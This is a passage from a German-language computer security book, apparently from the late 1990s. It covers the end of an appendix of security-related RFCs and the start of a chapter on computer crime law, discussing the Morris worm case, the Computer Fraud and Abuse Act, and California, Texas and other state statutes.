http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1824.txt
RFC 1825. Security Architecture for the Internet Protocol. R. Atkinson. August 1995. (Beschreibt
Sicherheitsmechanismen für IPV4 und IPV6.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1825.txt
RFC 1826. IP Authentication Header. R. Atkinson. August 1995. (Behandelt Verfahren für die
kryptographische Authentifizierung für IPv4- und IPv6-Datagramme.) URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc1826.txt
RFC 1827. IP Encapsulating Security Payload. R. Atkinson. August 1995. (Behandelt Verfahren der
Sicherung von Integrität und Vertraulichkeit von IP-Datagrammen.) URL: http:/
/info.internet.isi.edu:80/in-notes/rfc/files/rfc1827.txt
RFC 1828. IP Authentication Using Keyed MD5. P. Metzger und W. Simpson. August 1995. (Behandelt
die Verwendung von Keyed MD5 mit dem IP Authentication Header.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1828.txt
RFC 1847. Security Multiparts for MIME: Multipart/Signed and Multipart/Encrypted. J. Galvin, S.
Murphy, S. Crocker und N. Freed. Oktober 1995. (Behandelt eine Möglichkeit der Bereitstellung von
Sicherheitsdiensten in Teilen des MIME-Bodys.) URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc1847.txt
RFC 1848. MIME Object Security Services. S. Crocker, N. Freed, J. Galvin und S. Murphy. Oktober
1995. (Behandelt ein Protokoll zur Anwendung von digitalen Signaturen und Verschlüsselungsdiensten
auf MIME-Objekte.) URL: http://info.internet.isi.edu:80/in- notes/rfc/files/rfc1848.txt
RFC 1852. IP Authentication Using Keyed SHA. P. Metzger und W. Simpson. September 1995.
(Behandelt die Verwendung von Schlüsseln mit dem Secure-Hash-Algorithmus zur Sicherung der
Integrität von Datagrammen.) URL: http://info.internet.isi.edu:80/in- notes/rfc/files/rfc1852.txt
RFC 1853. IP in IP Tunneling. W. Simpson. Oktober 1995. (Behandelt Methoden der IP-
Nutzlast-Kapselung zur Durchführung eines Tunnelns mit IP.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1853.txt
RFC 1858. Security Considerations for IP Fragment Filtering. G. Ziemba, D. Reed, P. Traina. Oktober
1995. (Behandelt die IP-Fragmentfilterung und die Gefahren, die mit Fragmentierungsangriffen
verbunden sind.) URL: http://info.internet.isi.edu:80/in-notes/ rfc/files/rfc1858.txt
RFC 1910. User-Based Security Model for SNMPv2. G. Waters. Februar 1996. (Beschreibung der
Anwendung von Sicherheitsmerkmalen für SNMP.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1910.txt
RFCs zu Sicherheitsthemen
file:///d|/cool stuff/old/hack/kap_d.htm (5 von 7) [19.04.2000 21:16:05]
RFC 1928. SOCKS Protocol Version 5. M. Leech. März 1996. (Behandelt das SOCKS-Protokoll und
seine Verwendung zur Sicherung von TCP- und UDP-Übertragungen.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1928.txt
RFC 1929. Username/Password Authentication for SOCKS V5. M. Leech. März 1996. (Behandelt die
SOCKS-Authentifizierung.) URL: http://info.internet.isi.edu:80/in- notes/rfc/files/rfc1929.txt
RFC 1938. A One-Time Password System. N. Haller, et al. Mai 1996. (Beschreibt eine neue
Einmalpaßwort-Methode.) URL: http://info.internet.isi.edu:80/in-notes/rfc/files/ rfc1938.txt
RFC 1948. Defending Against Sequence Number Attacks. S. Bellovin. Mai 1996. (Behandelt Attacken
durch IP-Spoofing und Erraten der TCP-Sequenznummer.) URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc1948.txt
RFC 1968. The PPP Encryption Control Protocol. G. Meyer. Juni 1996. (Behandelt die Verschlüsselung
über PPP.) URL: http://info.internet.isi.edu:80/in-notes/rfc/files/ rfc1968.txt
RFC 1969. The PPP DES Encryption Protocol. K. Sklower und G. Meyer. Juni. 1996. (Behandelt die
Verwendung des Data Encryption Standard mit PPP.) URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc1969.txt
RFC 1991: PGP Message Exchange Formats. D. Atkins, W. Stallings und P. Zimmermann. August 1996.
(Hinzufügen von PGP zum Nachrichtenaustausch.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1991.txt
RFC 2015. MIME Security with Pretty Good Privacy (PGP). M. Elkins. Oktober 1996. (Schutz und
Authentifizierung durch Verwendung der Multipurpose Internet Mail Extensions mit PGP.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc2015.txt
RFC 2040. The RC5, RC5-CBC, RC5-CBC-Pad, and RC5-CTS Algorithms. R. Baldwin und R. Rivest.
Oktober 1996. (Definiert alle vier Zifferncodes sehr detailliert.) URL: http:/
/info.internet.isi.edu:80/in-notes/rfc/files/rfc2040.txt
RFC 2057. Source Directed Access Control on the Internet. S. Bradner. November 1996. (Behandelt
mögliche Zugänge für ein Filtern; eine Antwort auf das CDA.) URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc2057.txt
RFC 2065. Domain Name System Security Extensions. D. Eastlake, II, und C. Kaufman. Januar 1997.
(Hinzufügen von mehr Sicherheit zum DNS-System.) URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc2065.txt
RFC 2069. An Extension to HTTP: Digest Access Authentication. J. Franks, P. Hallam- Baker, J.
Hostetler, P. Leach, A. Luotonen, E. Sink und L. Stewart. Januar 1997. (Fortgeschrittene
Authentifizierung für HTTP.) URL: http://info.internet.isi.edu:80/in- notes/rfc/files/rfc2069.txt
RFC 2084. Considerations for Web Transaction Security. G. Bossert, S. Cooper und W. Drummond.
Januar 1997. (Hinzufügen von Vertraulichkeit, Authentifizierung und Integrität zur Datenübertragung
mit HTTP.) URL: http://info.internet.isi.edu:80/in-notes/rfc/ files/rfc2084.txt
RFCs zu Sicherheitsthemen
file:///d|/cool stuff/old/hack/kap_d.htm (6 von 7) [19.04.2000 21:16:05]
RFC 2085. HMAC-MD5 IP Authentication with Replay Prevention. M. Oehler und R. Glenn. Februar
1997. (Keyed-MD5 gekoppelt mit dem IP Authentication Header.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc2085.txt
RFC 2137. Secure Domain Name System Dynamic Update. D. Eastlake, III. April 1997. (Beschreibt die
Verwendung von digitalen Signaturen in DNS-Updates zur Verbesserung der Sicherheit des
DNS-Systems.) URL: http://info.internet.isi.edu:80/in-notes/rfc/ files/rfc2137.txt
RFC 2144. The CAST-128 Encryption Algorithm. C. Adams. Mai 1997. (Beschreibung des
128-Bit-Algorithmus, der bei der Authentifizierung über Netzwerke verwendet werden kann.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc2144.txt
RFC 2179. Network Security for Trade Shows. A. Gwinn. Juli 1997. (Behandelt Angriffe, die auf
Messen durchgeführt werden, und wie man diese verhindern kann.) URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc2179.txt
RFC 2196. Site Security Handbook. B. Fraser, Editor. September 1997. (Aktualisiert 1244. Eine weitere
Version dieses nützlichen Dokuments.) URL: http://info.internet.isi.edu:80/in-notes/rfc/files/rfc2196.txt
RFC 2222. Simple Authentication and Security Layer. J. Myers. Oktober 1997. (Beschreibt eine
Methode zum Hinzufügen einer Authentifizierung zu verbindungsbasierten Protokollen.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc2222.txt
RFC 2228. FTP Security Extensions. M. Horowitz und S. Lunt. Oktober 1997. (Erweitern der
Sicherheitsmerkmale von FTP.) URL: http://info.internet.isi.edu:80/in-notes/ rfc/files/rfc2228.txt
RFC 2230. Key Exchange Delegation Record for the DNS. R. Atkinson. November 1997. (Sichern des
DNS und der während einer Sitzung ausgetauschten Daten.) URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc2230.txt
RFC 2245. Anonymous SASL Mechanism. C. Newman. November 1997. (Neue Methoden der
Authentifizierung in anonymen Diensten - ohne Verwendung der inzwischen verbotenen
Klartext-Paßwörter, die bislang mit solchen Diensten verbunden waren.) URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc2245.txt
RFCs zu Sicherheitsthemen
file:///d|/cool stuff/old/hack/kap_d.htm (7 von 7) [19.04.2000 21:16:05]
E
Computersicherheit und das Gesetz
In diesem Kapitel beschäftigen wir uns mit der Internet-Gesetzgebung in den verschiedenen Ländern der
Welt. Dabei geht es vorwiegend um die Rechtsprechung zur Kriminalität im Internet.
E.1 Die Vereinigten Staaten
Meine Zeitzählung beginnt 1988 mit dem Fall USA gegen Morris, also mit dem Internet- Wurm. Ich
sollte jedoch ein bißchen weiter zurückgehen, da es vor diesem Fall bereits viele andere gab. Diese Fälle
bildeten die Grundlage der Definition des zugegebenermaßen etwas konfusen Internet-Rechts.
Phreaks
Sie erinnern sich vielleicht an meine Ausführungen über Telefon-Phreaks und wie sie sich
Telefondienste »stehlen«. Wie ich bereits erläutert habe, ist es unmöglich, den genauen Zeitpunkt
festzulegen, an dem der erste Phreak sich den Weg ins Internet hackte. Damals war das, was heute zum
Internet geworden ist, unter dem Namen ARPAnet bekannt.
Konkrete Beweise dafür, daß Phreaks in das ARPAnet eingedrungen sind, finden sich (zumindest im
Internet) im Jahr 1985. Im November 1985 kam die zweite Ausgabe des beliebten
Online-Phreak-Magazins Phrack heraus. Darin befand sich eine Liste mit Einwählmöglichkeiten in das
ARPAnet und verschiedene Militäreinrichtungen.
Wegweiser:
Diese Liste finden Sie in Phrack, Vol. 1, 2. Ausgabe, »Tac Dialups taken from ARPAnet«, von Phantom
Phreaker. Im Internet finden Sie sie unter http://www.fc.net/phrack/files/p02/p02-1.html.
Bis 1985 wurden diese Aktivitäten massenhaft durchgeführt. Kids tauschten Listen mit potentiellen
Zielen, und es bildeten sich Netzwerke von Eindringlingen. Cleveren, jungen Amerikanern mit
Computern eröffnete sich eine ganz neue Welt, die praktisch ein rechtsfreier Raum war.
Die Geschichte reicht sogar noch weiter zurück. 1981 übernahm eine Gruppe von Crackern die Kontrolle
über die Telefonzentrale im Weißen Haus und benutzte sie für Telefonate nach Übersee. Das war einer
der ersten einer Reihe von Fällen, die die Aufmerksamkeit des Gesetzgebers auf sich zogen.
Die Mehrheit der angegriffenen Sites gehörten entweder zur amerikanischen Bundesregierung oder
beherbergten Computer mit für die Bundesregierung wichtigen Daten (Federal- Interest-Computer).
Computersicherheit und das Gesetz
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Obwohl es sich vielleicht etwas seltsam anhört, gab es damals noch kein Gesetz, das ausdrücklich verbot,
daß Sie sich in einen Regierungscomputer oder ein Telekommunikationssystem einhackten. Deshalb
waren der Gesetzgeber und die Gerichte gezwungen, Gesetze zu erlassen, die für diese Situation passend
schienen.
Wie Sie sich denken können, lautete zur damaligen Zeit die Anklage oft auf Hausfriedensbruch. Andere
übliche Anklagen waren Diebstahl, Betrug usw. Diese Situation änderte sich jedoch schlagartig, als 1986
der Computer Fraud and Abuse Act verabschiedet wurde. Nachdem dieses Gesetz erlassen worden war,
drehte sich der Spieß um. Den Anfang machte der Fall USA gegen Morris.
E.1.1 Vereinigte Staaten von Amerika gegen Robert Tappan Morris
Der Fall des Internet-Wurms (der auch unter dem Namen Morris-Wurm bekannt wurde) änderte die
Einstellung zu Angriffen im Internet für alle Zeiten. Das war keine allmähliche Veränderung.
Organisationen wie CERT, FIRST und DDN wurden infolge dieses Angriffs aus dem Boden gestampft,
um sicherzustellen, daß nie wieder ein Vorfall ähnlichen Ausmaßes passieren könne. Für die
Sicherheitsgemeinde rechtfertigte Morris' Überzeugung seine Tat. Dennoch hatte die Entscheidung in
diesem Fall einige bedeutende Auswirkungen für Hacker und Cracker gleichermaßen.
Die Regierung vertrat die Position, daß Morris gegen Paragraph 2(d) des Computer Fraud and Abuse Act
von 1986, U.S.C. 1030(a)(5)(A)(1988), verstoßen hatte. Dieses Gesetz zielte auf eine bestimmte Klasse
von Individuen ab:
...jeder, der sich vorsätzlich und unbefugt Zugriff auf eine Kategorie von Computern
verschafft, die als »Federal-Interest-Computer« bekannt sind, und die autorisierte
Verwendung von Informationen solcher Computer behindert oder schädigt, wodurch ein
Verlust von 1.000 US-Dollar oder mehr verursacht wird...
Das will ich für diejenigen von Ihnen, die keine Rechtsanwälte sind, etwas erläutern. Die meisten
strafbaren Handlungen haben mehrere Elemente, von denen jedes bewiesen werden muß, bevor ein
erfolgreicher Fall gegen einen Angeklagten eingeleitet werden kann. In normalen Fällen von Betrug sind
das z.B. folgende Punkte:
Der Angeklagte hat falsche Tatsachen vorgespiegelt.
Der Angeklagte war sich darüber im klaren, daß die Tatsachen falsch waren.
Er tat dies vorsätzlich, um das Opfer zu täuschen.
Das Opfer ließ sich täuschen.
Das Opfer erlitt aufgrund dieser Täuschung einen Schaden.
Wenn ein Kläger auch nur einen dieser Punkte nicht beweisen kann, ist der Fall für ihn verloren. Zum
Beispiel wird, selbst wenn die ersten vier Punkte bewiesen werden können, kein Fall daraus, wenn das
Opfer nicht zu Schaden gekommen ist (d.h. ein solcher Fall wird einem Rechtseinwand nicht
standhalten).
Hinweis:
Das unterscheidet sich vom Strafrecht. Beim Strafrecht kann der Angeklagte auch dann für Betrug vor
Gericht gestellt werden, wenn der fünfte Punkt fehlt.
Computersicherheit und das Gesetz
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Um einen Fall erfolgreich zum Abschluß zu bringen, muß der Vertreter der Anklage den Sachverhalt in
die Elemente einpassen, die das angeklagte Vergehen beinhalten. Wenn z.B. der Vorsatz ein
erforderliches Element ist, muß der Vorsatz bewiesen werden. Solche Elemente bilden das Gerüst jeder
Klageerhebung. Das Gerüst des Morris-Falls basierte auf dem Computer Fraud and Abuse Act von 1986.
Nach diesem Gesetz waren dies die wesentlichen Elemente der Anklage:
Morris verschaffte sich vorsätzlich (und ohne Befugnis) Zugriff auf einen oder mehrere Computer.
Es waren Computer, auf denen sich für die Bundesbehörden wichtige Daten befanden.
Bei seinem vorsätzlichen, unbefugten Zugriff auf diese Federal-Interest-Computer verursachte
Morris einen Schaden, von 1.000 US-Dollar oder mehr.
Die Argumente, auf die man sich schließlich berief, waren sehr beschränkt. Es gab zum Beispiel heftige
Auseinandersetzungen darüber, was in dem Gesetz genau mit vorsätzlich gemeint war:
Morris argumentierte, daß die Regierung nicht nur beweisen mußte, daß er den Vorsatz des
unbefugten Zugriffs auf einen Federal-Interest-Computer hatte, sondern auch, daß er den
Vorsatz hatte, andere (rechtmäßige Benutzer) an dem Zugriff auf diesen Computer zu
hindern und dadurch Verluste zu verursachen. Das Adverb »vorsätzlich« bezog sich seiner
Meinung nach auf beide Verbverbindungen des Absatzes. Die Regierung bestand dagegen
darauf, daß, da die Kommasetzung den Teil des Satzes mit den Worten »Zugriff verschafft«
von dem darauffolgenden Teil mit dem Wort »schädigt« abgrenze, es eindeutig sei, daß
»vorsätzlich« sich nur auf »Zugriff verschafft« beziehe.
Morris' Argumentation wurde von dem Court of Appeals zurückgewiesen. Statt dessen interpretierte man
den Gesetzestext wie folgt: Der bloße vorsätzliche (unbefugte) Zugriff auf den
Federal-Interest-Computer war als Vergehen bereits ausreichend. Es war nicht relevant, ob Morris auch
vorhatte, Schaden anzurichten. Der Verteidiger konterte mit dem offensichtlichen Argument, daß, wenn
dies so sei, der Gesetzestext schlecht ausgedrückt sei. Nach der Interpretation durch den Court of
Appeals würde dieses Gesetz kleine, harmlose Eindringlinge genauso schwer bestrafen wie wirklich
bösartige. Leider ließ sich das Gericht darauf nicht ein. Vergleichen Sie dies einmal mit den Gesetzen in
Großbritannien, die ich weiter unten anführe, bei denen der Vorsatz eine maßgebliche Bedingung ist.
Das zweite interessante Element ist, daß der angegeriffene Computer ein Federal-Interest- Computer sein
muß. Nach der Definition des Gesetzes ist ein Federal-Interest-Computer ein Computer, der
...ausschließlich für die Verwendung durch ein Finanzinstitut oder die US-Regierung
vorgesehen ist, oder, wenn er nicht ausschließlich für eine solche Verwendung vorgesehen
ist, von oder für ein Finanzinstitut oder die US-Regierung verwendet wird, und die
Ausführung eines solchen Vergehens diese Verwendung beeinträchtigt; oder der einer von
zwei oder mehreren Computern ist, mit denen das Vergehen begangen wird, von denen sich
nicht alle im selben Staat befinden.
Die ersten beiden Anforderungen waren ausschließlicher Natur. Die folgende Beschreibung war ein
zweiter Paragraph:
...der einer von zwei oder mehreren Computern ist, mit denen das Vergehen begangen wird,
von denen sich nicht alle im selben Staat befinden.
Computersicherheit und das Gesetz
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Mit anderen Worten vertrat die Regierung die Ansicht, daß zwei oder mehrere Computer, die sich in
verschiedenen Staaten befinden, innerhalb dieses Gesetzeskonstrukts Federal- Interest-Computer waren.
Diese Charakterisierung wurde seitdem geändert, so daß der Begriff nun für alle Handlungen gilt, die
über einen Computer beim zwischenstaatlichen Handel ausgeführt werden. Das hat natürlich
weitreichende Auswirkungen und reduziert die Definition im Grunde auf alle Computer, die an das
Internet angebunden sind. Warum? Der Begriff zwischenstaatlicher Handel bedeutet in der Sprache der
Gesetzgebung etwas anderes als im normalen Sprachgebrauch. Die erste konkrete juristische Anwendung
des Begriffs in den USA folgte auf die Verabschiedung des Sherman Act, einer
Bundeskartell-Gesetzesvorlage, unterzeichnet von Präsident Benjamin Harrison am 2. Juli 1890. Das
Gesetz verbot eine »Beschränkung des Handels zwischen den einzelnen Bundesstaaten oder mit dem
Ausland«. Wie in Black Laws Dictionary (einer Industrienorm) definiert, ist zwischenstaatlicher Handel:
Verkehr, Umgang, gewerblicher Handel oder der Transport von Personen oder Eigentum
zwischen den einzelnen Bundesstaaten oder zwischen Punkten in einem Staat und Punkten
in einem anderen Staat...
Daraus könnte man schließen, daß zwischenstaatlicher Handel nur durchgeführt wird, wenn eine
physische, greifbare Ware zwischen den einzelnen Staaten bewegt wird. Das ist jedoch ein Irrtum. Der
Begriff wurde schon auf jede Art von Gütern und Dienstleistungen angewendet. Bei bestimmten
Handlungen ist es schon ausreichend, daß nur ein minimaler Teil der Ware oder Dienstleistung zwischen
den Staaten verkehrt. Wenn z.B. ein Krankenhaus einen Patienten aufnimmt, der von
Versicherungsträgern außerhalb des Staates, in dem es sich befindet, versichert ist, ist dies per
definitionem schon zwischenstaatlicher Handel. Das ist sogar so, wenn der Patient und das Krankenhaus
im selben Staat ansässig sind.
Es gibt jedoch Einschränkungen im Hinblick auf die Macht des Kongresses, solchen zwischenstaatlichen
Handel zu regulieren, besonders, wenn die Aktivität zwar zwischenstaatlich ist, aber nur begrenzte
Auswirkungen auf den zwischenstaatlichen Handel hat. Zum Beispiel hat der Oberste Gerichtshof der
USA im Fall A.L.A. Schecter Poultry Corp. gegen United States (1935):
...den Unterschied zwischen direkten und indirekten Auswirkungen innerstaatlichen Handels
auf den zwischenstaatlichen Handel als »fundamental und wesentlich für die
Aufrechterhaltung unseres konstitutionellen Systems« charakterisiert. Aktivitäten, die den
zwischenstaatlichen Handel direkt betreffen, liegen innerhalb des Machtbereichs des
Kongresses; Aktivitäten, die den zwischenstaatlichen Handel indirekt betreffen, liegen
außerhalb des Machtbereiches des Kongresses. Die Begründung für diese formale
Unterscheidung wurzelte in der Angst, daß ansonsten »es fast keine Begrenzung der
bundesstaatlichen Macht gebe und wir für alle praktischen Zwecke einer Zentralgewalt
unterliegen würden«.
Auf jeden Fall ist das Gesetz momentan so flexibel interpretierbar, daß die Regierung sich aussuchen
kann, ob sie für ein Cracking-Vergehen zuständig ist oder nicht, selbst wenn sich die angreifenden und
die Zielsysteme in ein und demselben Staat befinden. Das hängt jeweils von der Art des Falls ab.
Natürlich werden schon deshalb mehr Cracking-Vergehen vor den Bundesbehörden verhandelt, weil
diese einfach mehr Erfahrung mit solchen Fällen haben als die kleineren Gerichtsbezirke der einzelnen
Staaten.
Wegweiser:
Computersicherheit und das Gesetz
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Den vollständigen Text des Computer Fraud and Abuse Act von 1986 finden Sie unter
http://www.law.cornell.edu/uscode/18/1030.html.
Die Frage des Schadens oberhalb 1.000 US-Dollar ist eine Grauzone. Normalerweise ermöglichen
Gesetzestexte wie der Computer Fraud and Abuse Act eine weitreichende Interpretation von Schäden.
Man kann schon fast unmittelbar nach einem Eindringen behaupten, daß es zu einem Schaden in Höhe
von 1.000 US-Dollar gekommen sei, selbst wenn kein tatsächlicher Schaden im allgemein üblichen
Sinne verursacht worden ist. Es reicht schon aus, wenn Sie gezwungen sind, ein Sicherheitsteam zu
rufen, das das Ausmaß des Schadens feststellen soll.
Das Thema der Schadensfestsetzung wurde in der Vergangenheit heiß diskutiert, und es ist der
Regierung anzurechnen, daß einige recht strenge Richtlinien vorgeschlagen worden sind. Zumindest auf
Bundesebene gab es Bemühungen, verläßliche Formeln zur Bestimmung des Umfangs eines Schadens
und des entsprechenden Werts festzulegen. Die United States Sentencing Commission hat jedoch eine
großzügige Auslegung für eine höhere Verurteilung gewährt, selbst wenn der Schaden (obwohl nicht
vorsätzlich) minimal war:
In einem Fall, in dem eine Computerdatei verändert oder zerstört wurde, kann der Verlust
durch die Kosten berechnet werden, die eine Wiederherstellung der Datei verursachen
würde. Wenn ein Angeklagter vorsätzlich oder grob fahrlässig eine Computerdatei
verändert oder zerstört hat und, aufgrund eines Zufalls, die Kosten für die
Wiederherstellung erheblich niedriger waren, als der Angeklagte es hätte erwarten können,
kann eine Anhebung des Strafmaßes gerechtfertigt sein. Wenn der Angeklagte zum Beispiel
vorsätzlich oder grob fahrlässig eine wertvolle Datenbank zerstört hat, deren
Wiederherstellung sehr kostspielig gewesen wäre, jedoch durch den zufälligen Umstand,
daß - was dem Angeklagten nicht bekannt war - vor kurzem das jährliche Backup der
Datenbank erstellt worden war, wodurch die Wiederherstellung der Datenbank relativ
preiswert wurde, kann eine Anhebung des Strafmaßes gerechtfertigt sein.
Das scheint mir unangemessen. Angeklagte sollten aufgrund des tatsächlichen Schadens verurteilt
werden, den sie verursacht haben. Was gewesen wäre, gewesen sein könnte oder sollte ist irrelevant.
Wenn die Absicht der Kommission darin besteht, daß der Verlust danach gemessen werden soll, welche
Kosten die Wiederherstellung einer Datei verursacht, ist diese Korrektur des Strafmaßes nach oben
vollkommen inkonsequent. Ein Angeklagter könnte tatsächlich eine höhere Strafe bekommen, nicht
dafür, was er getan hat, sondern was er getan haben könnte. Diese vorgeschlagene Änderung beinhaltet
also, daß der tatsächliche Verlust keinen Einfluß auf das Urteil hat, sondern die wahrscheinlich
irrtümliche Vorstellung des verurteilenden Gerichtes von der Absicht des Angeklagten (und seinem
Wissen über die Folgen seines Tuns).
Die meisten US-Bundesstaaten haben ihre Computer-Gesetze nach dem Computer Fraud and Abuse Act
oder sehr ähnlichen Prinzipien formuliert. Die Mehrheit behandelt unautorisierten Zugriff und
Manipulationen und gelegentlich andere Aktivitäten.
Computersicherheit und das Gesetz
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E.1.2 Kalifornien
Kalifornien nimmt in Sachen Computerkriminalität und -betrug weltweit die Spitzenposition ein. Aus
diesem Grund hat Kalifornien einige scharf umrissene Gesetze, die das Knacken von Computern
betreffen. Der Hauptteil dieses Gesetzes ist der California Penal Code, Paragraph 502. Wie viele solcher
Texte beginnt auch dieser mit einer Absichtserklärung:
Es ist die Absicht der Gesetzgebung, mit dem Erlaß dieses Paragraphen den Grad des
Schutzes von Einzelpersonen, Unternehmen und Regierungsbehörden vor Manipulation,
Beeinträchtigung, Beschädigung und unautorisiertem Zugriff auf rechtmäßig erzeugte
Computerdaten und -systeme zu erhöhen. Die Gesetzgebung meint und verkündet, daß die
starke Ausbreitung der Computertechnologien mit einer ebenso starken Ausbreitung der
Computerkriminalität einhergegangen ist sowie mit anderen Arten unautorisierten Zugriffs
auf Computer, Computersysteme und Computerdaten. Die Gesetzgebung meint und
verkündet weiterhin, daß der Schutz der Integrität aller Arten und Formen von rechtmäßig
erzeugten Computern, Computersystemen und Computerdaten wesentlich ist für den Schutz
der Privatsphäre von Einzelpersonen sowie des Wohlergehens von Finanzinstituten,
Konzernen, Regierungsbehörden und anderen in diesem Staat, die solche Computer,
Computersysteme und -daten auf rechtmäßige Weise verwenden.
Wegweiser:
Den vollständigen Text des California Penal Code, Paragraph 502, finden Sie unter
http://www.leginfo.ca.gov/.
Das Gesetz ist sehr umfassend. Es behandelt im wesentlichen eine Liste von Aktivitäten, die unter seinen
Zuständigkeitsbereich fallen, darunter jede unautorisierte Aktion, die zu einem Eindringen, Löschen,
Ändern, Diebstahl, Kopieren, Ansehen oder anderer Manipulation von Daten führt. Das Gesetz spricht
sogar den Denial-of-Service direkt an.
Folgende Strafen werden verhängt:
Für einfachen unautorisierten Zugriff, der zu keinem Schaden von mehr als 400 US-Dollar führt,
entweder eine Strafe von 5.000 Dollar oder einem Jahr Gefängnis, oder beides.
Für unautorisierten Zugriff, der zu einem tatsächlichen Schaden von mehr als 400 US- Dollar
führt, eine Strafe von 5.000 Dollar und/oder Gefängnisstrafen von 16 Monaten, zwei Jahren oder
drei Jahren in einem Staatsgefängnis oder einem Jahr in einem Bezirksgefängnis.
Wie Sie sich denken können, sieht das Gesetz auch Regelungen für die Entschädigung des Opfers vor.
Für Eltern besonders interessant ist Unterpunkt (e)1 dieses Paragraphen:
Zum Zwecke von durch diese Unterabteilung autorisierten Prozessen wird das Verhalten
eines unmündigen Minderjährigen den Eltern oder Erziehungsberechtigten zur Last gelegt,
die das Sorgerecht für den Minderjährigen tragen...
Das bedeutet, daß, wenn Sie Elternteil eines Kindes sind, das in Kalifornien Computer knackt, Sie - und
nicht Ihr Kind - die Zivilstrafen zu tragen haben.
Ein weiterer interessanter Punkt des kalifornischen Gesetzes ist, daß es Vorkehrungen für mögliche
Computersicherheit und das Gesetz
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Kompetenzkonflikte trifft. Nehmen wir z.B. einmal an, daß ein Benutzer in Kalifornien auf illegale
Weise auf einen Computer in einem anderen Staat zugreift:
Zum Zweck einer zivil- oder strafrechtlichen Verfolgung gemäß diesem Paragraphen wird
eine Person, die den Zugriff auf einen Computer, ein Computersystem oder - netzwerk in
einem Gerichtsbezirk von einem anderen Gerichtsbezirk aus verursacht, so behandelt, als
habe sie auf den Computer, das Computersystem oder -netzwerk in jedem Gerichtsbezirk
persönlich zugegriffen.
Ich weiß nicht, wie viele Personen nach Paragraph 502 verurteilt worden sind, aber ich vermute, daß es
relativ wenige sind. Die Mehrzahl der Fälle scheint vor dem Bundesgericht zu landen.
E.1.3 Texas
In Texas ist die Gesetzgebung zur Computerkriminalität etwas weniger streng (und weniger klar
definiert) als in Kalifornien. Das Strafgesetzbuch von Texas sagt nur folgendes:
Eine Person begeht ein Verbrechen, wenn sie wissentlich ohne ausdrückliches
Einverständnis des Eigentümers auf einen Computer, ein Computernetzwerk oder -system
zugreift.
Wegweiser:
Das Strafgesetzbuch von Texas finden Sie unter http://www.capitol.state.tx.us/statutes/statutes.html .
In allen Fällen, in denen die Handlungen des Angeklagten ohne die Absicht »einen Nutzen daraus zu
ziehen oder jemand anderen zu betrügen oder zu schädigen« vorgenommen wurden, ist die
Gesetzesübertretung ein minderes Delikt der Klasse A. Wenn die Handlungen des Angeklagten jedoch
mit einer solchen Absicht erfolgten, kann dies ein Verbrechen sein, das mit Staatsgefängnis bestraft wird
(wenn es um 20.000 Dollar oder weniger geht), oder ein Verbrechen dritten Grades (wenn es sich um
mehr als 20.000 Dollar handelt).
Es gibt eine Entlastung:
Es gilt gegenüber einer Verfolgung gemäß Abschnitt 33.02 als Entlastung, wenn der Täter
ein Vorstandsmitglied, Angestellter oder Vertreter eines öffentlichen Versorgungsbetriebs
im Bereich der Telekommunikation oder der Elektrizität ist und die ihm vorgeworfenen
Handlung(en) in Ausübung seines Berufs ausgeführt hat, im Zuge von Aktivitäten, die
erforderlich waren, um eine Erbringung dieser Dienste oder den Schutz der Rechte oder des
Eigentums eines solchen Betriebs sicherzustellen.
Darüber hinaus ist interessant, daß der Begriff Zugriff innerhalb dieses Gesetzes das folgende bedeutet:
...sich annähern, Befehle erteilen, kommunizieren mit, Daten speichern in, Daten beziehen
von, Daten oder Computer-Software ändern in, oder anderweitigen Gebrauch machen von
jeder Ressource eines Computers, Computersystems oder Computernetzwerks.
Heißt das, daß es in Texas ungesetzlich ist, die TCP/IP-Ports eines Computers zu scannen? Das könnte
sein, obwohl das Gesetz zu diesem Zweck wahrscheinlich noch nicht angewandt wurde.
Computersicherheit und das Gesetz
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E.1.4 Andere US-Bundesstaaten
Die meisten anderen Staaten haben fast identische Gesetze. Dennoch gibt es ein paar spezielle Punkte,
die ich bei einigen Staaten gerne ansprechen möchte. Einige davon sind interessant, andere einfach nur
amüsant. In Tabelle E.1 sind ein paar Beispiele aufgeführt:
Tabelle E.1: Interessante gesetzliche Bestimmungen in US-Staaten
Bundesstaat Bestimmung
Alaska Jemand kann das Verbrechen begehen (und dafür bestraft werden), einen Rechner zu
täuschen. Das ist wirklich so, obwohl ein Rechner weder empfindungs- noch
wahrnehmungsfähig ist.
Connecticut Sieht zivil- und strafrechtliche Strafen für die Unterbrechung von Computerdiensten vor
(sogar für die Schwächung solcher Dienste). Das macht deutlich, daß ping und
syn_flooding in Connecticut klare Verbrechen sind.
Georgia Cracker aufgepaßt: Knackt nicht in Georgia. Die Strafen sind hoch: 15 Jahre und eine
Geldstrafe von 50.000 Dollar. Autsch!
Hawaii Das System ordnet unautorisierten Zugang und unautorisierte Benutzung in
unterschiedliche Kategorien ein, von denen jede drei Abstufungen hat. Nur einen Blick
in ein System zu werfen, ist ein minderes Delikt. Das ist in Ordnung!
Minnesota Dieser Staat hat eine spezielle Unterabteilung, die Strafen für Einzelpersonen vorsieht,
die destruktive Computerprogramme schreiben oder verwenden.
Informationen über die Gesetzgebungen zur Computerkriminalität in den USA stellt die Electronic
Frontier Foundation zur Verfügung.
Wegweiser:
Die Webseite von EFF finden Sie unter http://www.eff.org/. Die Auflistung der Gesetzgebungen zur
Computerkriminalität für die einzelnen US-Bundesstaaten (Stand Mai 1995) finden Sie unter
